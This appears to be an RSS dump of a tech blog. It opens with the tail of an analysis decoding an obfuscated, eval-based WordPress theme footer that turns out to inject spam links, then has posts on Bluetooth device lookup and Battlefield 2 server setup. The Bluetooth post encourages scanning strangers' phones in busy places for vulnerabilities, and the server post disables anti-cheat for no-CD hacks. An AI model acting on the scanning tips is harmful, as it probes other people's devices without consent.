    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">54</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">153</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">55</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">105</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">56</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">57</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">100</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">58</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">227</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">59</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">93</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">60</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">577</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">61</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">391</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">62</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">27</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">63</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">30</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">64</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">213</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">65</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">243</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">66</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">354</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">67</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">209</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">68</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">172</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">69</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">438</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">70</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">297</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">72</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">101</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">73</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">169</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">74</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">153</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">75</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">103</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">76</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">337</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">77</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">36</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">78</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">59</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">79</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">425</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">80</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">271</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">81</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">130</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">82</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">79</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">83</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">386</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">84</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">541</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">85</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">163</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">86</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">87</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">187</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">88</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">414</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">89</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">90</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">19</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">92</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">19</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">93</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">47</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">95</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">10</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">96</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1525</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">97</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">635</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">98</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">8490</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">99</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1773</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">100</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2031</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">101</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1112</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">102</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4179</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">104</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2476</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">105</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4299</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">106</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1421</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">107</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3064</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">108</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1170</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">109</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">41</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">110</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3057</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">111</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2748</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">112</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1295</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">113</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">313</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">114</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3197</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">115</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4404</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">116</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3241</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">117</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4419</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">118</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">5</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">119</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1110</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">122</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">17</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">123</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">5</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">124</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">17</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">125</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">766</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">126</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">198</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">127</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">186</span>
<span style="color: #66cc66;">&#41;</span>
&nbsp;</pre>
<p>Thankfully we're not done yet, notice that these values are called along with a ^0x07... so maybe if we change the list to reflect this operation it'll look better. In order to make it tidy, and to continue the assumption, I've substituted the character for the integer.</p>
<pre class="php">&nbsp;
<a href="http://www.php.net/array"><span style="color: #000066;">Array</span></a>
<span style="color: #66cc66;">&#40;</span>
    <span style="color: #66cc66;">&#91;</span>&lt;tab&gt;<span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1161</span>
    <span style="color: #66cc66;">&#91;</span>
&lt;line feed&gt;<span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">630</span>
    <span style="color: #66cc66;">&#91;</span> <span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">7322</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #ff0000;">&quot;] =&gt; 305
    [#] =&gt; 70
    [$] =&gt; 349
    [%] =&gt; 21
    [&amp;] =&gt; 442
    ['] =&gt; 1487
    [(] =&gt; 127
    [)] =&gt; 127
    [*] =&gt; 9
    [+] =&gt; 10
    [,] =&gt; 3496
    [-] =&gt; 688
    [.] =&gt; 886
    [/] =&gt; 1630
    [0] =&gt; 105
    [1] =&gt; 153
    [2] =&gt; 110
    [3] =&gt; 82
    [4] =&gt; 94
    [5] =&gt; 74
    [6] =&gt; 34
    [7] =&gt; 37
    [8] =&gt; 30
    [9] =&gt; 27
    [:] =&gt; 391
    [;] =&gt; 577
    [&lt;] =&gt; 93
    [=] =&gt; 227
    [&gt;] =&gt; 100
    [?] =&gt; 1
    [A] =&gt; 297
    [B] =&gt; 438
    [C] =&gt; 172
    [D] =&gt; 209
    [E] =&gt; 354
    [F] =&gt; 243
    [G] =&gt; 213
    [H] =&gt; 425
    [I] =&gt; 59
    [J] =&gt; 36
    [K] =&gt; 337
    [L] =&gt; 103
    [M] =&gt; 153
    [N] =&gt; 169
    [O] =&gt; 101
    [P] =&gt; 187
    [Q] =&gt; 2
    [R] =&gt; 163
    [S] =&gt; 541
    [T] =&gt; 386
    [U] =&gt; 79
    [V] =&gt; 130
    [W] =&gt; 271
    [X] =&gt; 10
    [Z] =&gt; 47
    [[] =&gt; 19
    []] =&gt; 19
    [^] =&gt; 3
    [_] =&gt; 414
    [a] =&gt; 4179
    [b] =&gt; 1112
    [c] =&gt; 2031
    [d] =&gt; 1773
    [e] =&gt; 8490
    [f] =&gt; 635
    [g] =&gt; 1525
    [h] =&gt; 2748
    [i] =&gt; 3057
    [j] =&gt; 41
    [k] =&gt; 1170
    [l] =&gt; 3064
    [m] =&gt; 1421
    [n] =&gt; 4299
    [o] =&gt; 2476
    [p] =&gt; 1110
    [q] =&gt; 5
    [r] =&gt; 4419
    [s] =&gt; 3241
    [t] =&gt; 4404
    [u] =&gt; 3197
    [v] =&gt; 313
    [w] =&gt; 1295
    [x] =&gt; 186
    [y] =&gt; 198
    [z] =&gt; 766
    [{] =&gt; 17
    [|] =&gt; 5
    [}] =&gt; 17
)
</span></pre>
<p>This looks good to me. notice the matched braces (17 each), matched parens (127 each), and almost matched carrots (93 and 100). Also take note that there's much more lowercase than uppercase letters, and that lowercase 'e' is far above the other letters, implying this has English words (or at least English something) in it. </p>
<p>And again we end up with a nasty large for loop, completely worthless to try to step through:</p>
<pre class="php">&nbsp;
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$d</span>&lt;<span style="color: #cc66cc;">83760</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #0000ff;">$i</span>.=<a href="http://www.php.net/chr"><span style="color: #000066;">chr</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$h</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span>++<span style="color: #66cc66;">&#93;</span>^0x07<span style="color: #66cc66;">&#41;</span>;
    <span style="color: #66cc66;">&#125;</span>
&nbsp;</pre>
<p>83760 steps in that loop, building whatever it is we're going to eval at the end char by char! I'm going to cheat again, run the loop, <a href="http://pastebin.com/f68e4fad1">spit out the result</a>, and die before the eval. Looks like 632 lines of... more php! Yay, this time its not obfuscated!</p>
<p>It starts off with 410 lines of 4 arrays of URLs, most appearing German. After that it does some work on your domain name and the requested page, then does some work on all of the above to pull out specific URLs to seed your footer with. They were nice enough to include a $debug flag, which I turned on, and ran on a different site that I wasn't too worried about. Here's the spit out:</p>
<pre>&nbsp;
host: thievestavern.com
uri: /final_code.php
numbers: 0
&nbsp;
final_code.php
url: thievestavern.com/final_code.php
url_base64: dGhpZXZlc3RhdmVybi5jb20vZmluYWxfY29kZS5waHA=
url_zahl: 20295
&nbsp;
array_a_count: 22
array_b_count: 90
array_c_count: 87
array_d_count: 145
array_e_count: 2
url_count: 32
&nbsp;
crc32 url: -1485503542
intval(crc32 count): 1485503542
&nbsp;
count_a (url_count + numbers): 03542
&nbsp;
count_a % array_a_count: 03542 % 22
count_a (Rest nach Teilung): 0
&nbsp;
count_b (url_count + numbers): 03542
&nbsp;
count_b % array_b_count: 03542 % 90
count_b (Rest nach Teilung): 32
&nbsp;
count_c (url_count + numbers): 03542
&nbsp;
count_c % array_c_count: 03542 % 87
count_c (Rest nach Teilung): 62
&nbsp;
count_d (url_count + numbers): 03542
&nbsp;
count_d % array_d_count: 03542 % 145
count_d (Rest nach Teilung): 62
&nbsp;
count_e (url_count + numbers): 03542
&nbsp;
count_e % array_e_count: 03542 % 2
count_e (Rest nach Teilung): 0
&nbsp;
url_zahl % anchor_1_count: 20295 % 6
&nbsp;
url_zahl_rest_1: 3
anchor_1_count: 6
&nbsp;
url_zahl_rest_2: 2
anchor_2_count: 7
&nbsp;
url_zahl_rest_3: 5
anchor_3_count: 10
&nbsp;
url_zahl_rest_4: 0
anchor_4_count: 11
&nbsp;
url_zahl_rest_5: 2
anchor_5_count: 7
&nbsp;
count: 03542
//Links were spit out here... I'm not including them as
//I don't want to advertise for random people
&nbsp;</pre>
<p><strong>Conclusions</strong><br />
I'm considering this question solved. The obfuscated piece of junk that was residing in my footer turns out to be nothing more than a very paranoid way to put links into the footer. Its handy as it'll be hard to automatically figure out which sites have these spam footers (if I couldn't do <a href="http://www.google.com/#hl=en&safe=off&q=%22WARNING%3A+This+file+is+protected+by+copyright+law.+To+reverse+engineer+or+decode+this+file+is+strictly+prohibited.+%22&aq=f&oq=&aqi=&fp=DkheYKZULkw">this</a>), it also intimidates the normal user to not remove the links. This is fairly clever, and involved, and a nice feature is that they can simply change the $o to get a whole new set of links to spit out, or to change the footer's design. I'll give them props for that.</p>
<p>All of the above makes me say that <a href="http://themespack.com">themespack.com</a> isn't really interested in putting good free (as in freedom, and beer) themes into the hands of bloggers, they're more interested in themselves. Can I fault them? No. However, I do take issue with trying to hide behind 'copyright' to prevent me from changing the links on my own blog. </p>
<p>If you get one of these themes I'd highly recommend you do the following: Go into the footer, and remove the 'alignleft' div. Put in a 'theme created by <so and so>' link, and then give yourself credit for editing it. As is your right under the GPL. I'd love to say to run the script and give credit to the supposed creators, but those end up being random German companies, clearly not people in the business of writing PHP.</p>
<p>Oh, and for the record, all of the above is what the server does when it runs the PHP code, so I'm not reverse engineering it anymore than a few calls to base64_decode does. </p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2009/06/04/evil-eval/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Bluetooth Device Lookup</title>
		<link>http://thesnarky.com/2007/11/22/bluetooth-device-lookup/</link>
		<comments>http://thesnarky.com/2007/11/22/bluetooth-device-lookup/#comments</comments>
		<pubDate>Fri, 23 Nov 2007 01:33:23 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Bluetooth]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://thesnarky.com/2007/11/22/bluetooth-device-lookup/</guid>
		<description><![CDATA[Happy Thanksgiving! I'm spending the break catching back up on the state of <a href="http://www.bluetooth.com/bluetooth/">Bluetooth</a> security because, hey, I love the subject. Everyone has a phone with Bluetooth, just about, and many overlook it as a security hole because they feel there's nothing insidious that can be done with just replacing wires with some radio broadcasts. I'll give a quick rundown on how to get Bluetooth working under Linux, then the software I use, and finally give a tool I wrote watching the Dallas Game to speed up identification of Bluetooth devices.]]></description>
			<content:encoded><![CDATA[<p>Happy Thanksgiving! I'm spending the break catching back up on the state of <a href="http://www.bluetooth.com/bluetooth/">Bluetooth</a> security because, hey, I love the subject. Everyone has a phone with Bluetooth, just about, and many overlook it as a security hole because they feel there's nothing insidious that can be done with just replacing wires with some radio broadcasts. I'll give a quick rundown on how to get Bluetooth working under Linux, then the software I use, and finally give a tool I wrote watching the Dallas Game to speed up identification of Bluetooth devices.<br />
<span id="more-185"></span><br />
<strong>Hardware</strong><br />
Naturally, those "USB Bluetooth devices" that you see in stores are for Windows, so how do you know what will work in Linux? Check <a href="http://www.holtmann.org/linux/bluetooth/features.html">this page</a>, put together by Marcel Holtmann, to get an idea. If a device has an HCI version, it almost definitely works under Linux. Unfortunately it hasn't been updated in over a year and a half (March 31st of 2006), but it gives a good estimate of which brands will work. I looked for devices that had decent <a href="http://newegg.com">Newegg</a> ratings, and a history of providing Linux support. In the end I grabbed an <a href="http://www.iogear.com/main.php?loc=product&Item=GBU221">IOGEAR GBU221</a> which has worked perfectly out of the box. Ironically this did NOT get good reviews on Newegg, and Bets Buy had it cheaper, but I promise that is a very rare occurrence. </p>
<p><strong>Software</strong><br />
As far as the drivers go, it's <a href="http://www.bluez.org/">BlueZ</a> or nothing. This is an excellent package that works enough to be qualified Bluetooth 2.0 though with some implementations out there, this may or may not be a selling point. But the point of the matter is, nab this and it'll work just like Windows.<br />
As far as software to interact with Bluetooth devices, it depends on what you want to do. I don't connect my phone via Bluetooth (preferring a USB cable) so I can't help you with that. However make sure you have hcitools installed to pair with devices and scan for new ones around you. To test your set up, put your phone (or headset, or keyboard, or whatever) into detection mode and then run:<br />
<code>hcitools scan</code><br />
If you're set up, it should detect your device and identify its MAC Address and Device Name.<br />
After you're set up legally checking on your phone, you can try checking out others. Try an hcitools scan in a busy area and see if any phones show up. Or perhaps a parking lot if you're really devious. I'd recommend checking out the <a href="http://trifinite.org">Trifinite Group</a> for ideas of what evilness can go on over Bluetooth.</p>
<p><strong>Device Lookup</strong><br />
Now that you have my 2 cent description of how to get Bluetooth working on Linux (Ubuntu 7.10) and done your own research on what vulnerabilities (might) exist out there, you may be interested in a quick way to identify devices you find. Quick identification of devices around you allows for quick knowledge of what exploits exist. I'm not advocating breaking devices, but this may be extremely useful when penetration testing a company or school. I wrote a quick perl script that will take a given MAC address and return the company that device is registered to. It has two text files with it, one is a list of known Bluetooth manufacturers and the device prefixes registered to them, the other is a full list of all MAC prefixes and who they're registered to. Download this <a href="http://thesnarky.com/wp-content/uploads/2007/11/mac_address.tar">tarball</a>, untar the file, change into the mac_address directory, and then run it using:</p>
<p><code><br />
tar -xf mac_address.tar<br />
cd mac_address<br />
perl mac_lookup.pl 00:16:8f:c0:5X:XX</code></p>
<p>It'll spit out info looking a little like:</p>
<p><code><br />
Looking up: 00:16:8f:c0:51:11<br />
Manufacturer Prefix: 00:16:8f<br />
Device Type: c0:51:11<br />
Manufacturer: GN Netcom as<br />
</code></p>
<p>I'm quickly porting it to php and tossing all that info into a database so you'll be able to bounce requests off of a php page to grab the relevant information. More information will come on that in a day or two, once I have it up and running. Of course all this was inspired by the <a href="http://trifinite.org/trifinite_stuff_blueprinting.html">BluePrinting</a> project, and I hope to work that into my database.</p>
<p>EDIT: Whoops, it appears I mis-read a paper and wrote a hasty article. It is not possible to assume the second three bytes of a Bluetooth MAC are the device model, as every manufacturer is different.  I've changed bits of the above article to reflect this knowledge, and changed the output of my tool. I'd also like to note there is another tool that is similar to this, @stake's redfang tool. However this tool is used to *find* non-discoverable devices, via brute-force, whereas mine is a simple lookup tool.</p>
<p>Also it should be noted that I'm using the term Bluetooth MAC address, though this may not be the best term. Its also called the Bluetooth Device Address.</p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2007/11/22/bluetooth-device-lookup/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Battlefield 2 Maplist Generation</title>
		<link>http://thesnarky.com/2007/11/12/battlefield-2-maplist-generation/</link>
		<comments>http://thesnarky.com/2007/11/12/battlefield-2-maplist-generation/#comments</comments>
		<pubDate>Mon, 12 Nov 2007 19:42:58 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Games]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://thesnarky.com/2007/11/12/battlefield-2-maplist-generation/</guid>
		<description><![CDATA[As evidenced by my last post, I'm playing with a BF2 dedicated server on a daily basis. part of that is me and a roommate finding cool maps and adding them into our rotation. For the last weekish all we have played is <a href="http://www.aixtended.com/">Allied Intent Extended</a> because it adds a LOT to an already good game. I went back to the mod's website today and grabbed a bunch of map packs that the dev team had put out, about 16 new maps, to be exact. After tossing these into my dedicated server's AIX directory I decided I did not want to add all of them into my maplist by hand. This would be picking out each new map, and then writing "maplist.append <mapname> <map-type> <max-players>" 16 times. Instead I cooked up a quick perl script that any BF2 server admin can use to make quick maplists.]]></description>
			<content:encoded><![CDATA[<p>As evidenced by my last post, I'm playing with a BF2 dedicated server on a daily basis. part of that is me and a roommate finding cool maps and adding them into our rotation. For the last weekish all we have played is <a href="http://www.aixtended.com/">Allied Intent Extended</a> because it adds a LOT to an already good game. I went back to the mod's website today and grabbed a bunch of map packs that the dev team had put out, about 16 new maps, to be exact. After tossing these into my dedicated server's AIX directory I decided I did not want to add all of them into my maplist by hand. This would be picking out each new map, and then writing "maplist.append [mapname] [map-type] [max-players]" 16 times. Instead I cooked up a quick perl script that any BF2 server admin can use to make quick maplists. It should be run in the directory of a mod's levels, somewhere like [base-dir]/mods/aix/levels.<br />
<span id="more-183"></span><br />
<code><br />
my $type = shift(@ARGV) or die("USAGE: perl maplist.pl [type] [players]\n");<br />
my $players = shift(@ARGV) or die("USAGE: perl maplist.pl $type [players]\n");<br />
print "rem Maplist.con generated automatically by Snarky\n";<br />
foreach(<*>) {<br />
        if(-d $_) {<br />
                print "maplist.append $_ $type $players\n";<br />
        }<br />
}<br />
</code></p>
<p>This spits the maplist out to STDOUT and can then be piped into whatever file you want. On a typical UNIX dedicated server it should be run like this (for 32 player maps and a coop map type):</p>
<p><code>perl maplist.pl gpm_coop 32 > ../settings/maplist.con</code></p>
<p>Of course, you may redirect wherever you like so as to not overwrite other lists. I keep separate maplists (maplist.coop.con and maplist.cq.con) around for coop and cq (conquest) as you can't add coop maps to conquests lists, and vice versa. Sure, for small additions to my levels directory this is like using a sledge hammer to hammer a nail, but heck, its quick and easy, so I'm happy.</p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2007/11/12/battlefield-2-maplist-generation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Battlefield 2 Dedicated Server Tricks</title>
		<link>http://thesnarky.com/2007/11/08/battlefield-2-dedicated-server-tricks/</link>
		<comments>http://thesnarky.com/2007/11/08/battlefield-2-dedicated-server-tricks/#comments</comments>
		<pubDate>Thu, 08 Nov 2007 17:29:02 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Games]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://thesnarky.com/2007/11/08/battlefield-2-dedicated-server-tricks/</guid>
		<description><![CDATA[I've been sick the past couple of days which means I've been frustrated that my brain is firing on all cylinders. When I'm sick I try to keep my brain working via coding or the like, so after I knocked out a lil script to help a math professor prove some mathy thing I didn't understand, I turned to the Battlefield 2 (BF2 from here on out) server I run for my house. Thankfully EA/Dice has an official Linux dedicated server that is easy to set up and customize, unfortunately not all mods return the favor. I'll quickly go through setting up the official server, then customizing it, and if I can get it running myself, the Nations at War 5.1 server!]]></description>
			<content:encoded><![CDATA[<p>I've been sick the past couple of days which means I've been frustrated that my brain is firing on all cylinders. When I'm sick I try to keep my brain working via coding or the like, so after I knocked out a lil script to help a math professor prove some mathy thing I didn't understand, I turned to the Battlefield 2 (BF2 from here on out) server I run for my house. Thankfully EA/Dice has an official Linux dedicated server that is easy to set up and customize, unfortunately not all mods return the favor. I'll quickly go through setting up the official server, then customizing it, and if I can get it running myself, the Nations at War 5.1 server!<br />
<span id="more-182"></span><br />
<strong>Installation</strong><br />
I started by creating a bf2 user so that I could give my roommates shell access to start and stop the server if they needed (ok, wanted) to while I wasn't there. </p>
<p>Then I created a folder for the server, in my case that was /usr/bf2, but wherever you decide to install this will be referred to as [base-dir] from here on. Move into that directory, then wget the server files and unzip. I won't go into much more detail than that because a <a href="http://www.serverwiki.org/index.php/Battlefield_2_Linux_Server_Setup">few</a> <a href="http://gentoo-wiki.com/HOWTO_Setup_A_Battlefield_2_Dedicated_Server">sites</a> already spell it out nicely. </p>
<p>The final bit of installation is turning rcon (remote control) on. You want to create the file "[base-dir]/admin/default.cfg" consisting of:<br />
<code>port=4711<br />
password=your_password<br />
</code></p>
<p>Now when you're playing you can open the console, type 'rcon login your_password' and execute admin commands.</p>
<p><strong>Customization</strong><br />
Customization is where the bf2 server gets fun. I don't run my server on the Internet, only within my house, so I have a lot of coop (LAN party goodness) settings. All the files yuou're going to want to modify are inside the [base-dir]/mods/bf2/settings directory. Lets start with serversettings.con as it is the logical place to start. I'll lay out some of the important server (sv) settings.</p>
<p>Server settings, how it'll appear in the game browser and port it uses. Change the port to run multiple servers on the same box.<br />
<code><br />
sv.serverName "Snarky's roughnecks"<br />
sv.password ""<br />
sv.internet 0<br />
sv.serverIP "192.168.0.3"<br />
sv.serverPort 16567<br />
sv.welcomeMessage "Welcome to... THE ROCK!"<br />
</code></p>
<p>Player settings, I turn off punkbuster so we can use no-cd hacks and share disks at LAN parties. Also make sure Friendly fire is on, but turn friendly fire with mines off so people don't get mad when they run over my claymores. Of course, ya wanna turn off tk punish, just in case *grin*.<br />
<code><br />
sv.punkBuster 0<br />
sv.soldierFriendlyFire 100<br />
sv.vehicleFriendlyFire 100<br />
sv.soldierSplashFriendlyFire 100<br />
sv.vehicleSplashFriendlyFire 100<br />
sv.tkPunishEnabled 0<br />
sv.tkNumPunishToKick 3<br />
sv.tkPunishByDefault 0<br />
</code></p>
<p>Bot settings, what makes coop fun! This turns team balance off, then stacks 75% of the bots on team 2 (against US) and gives them medium difficulty. This is enough for two humans (and 10 bots) to have a difficult, but winnable game.<br />
<code><br />
sv.autoBalanceTeam 0<br />
sv.teamRatioPercent 100<br />
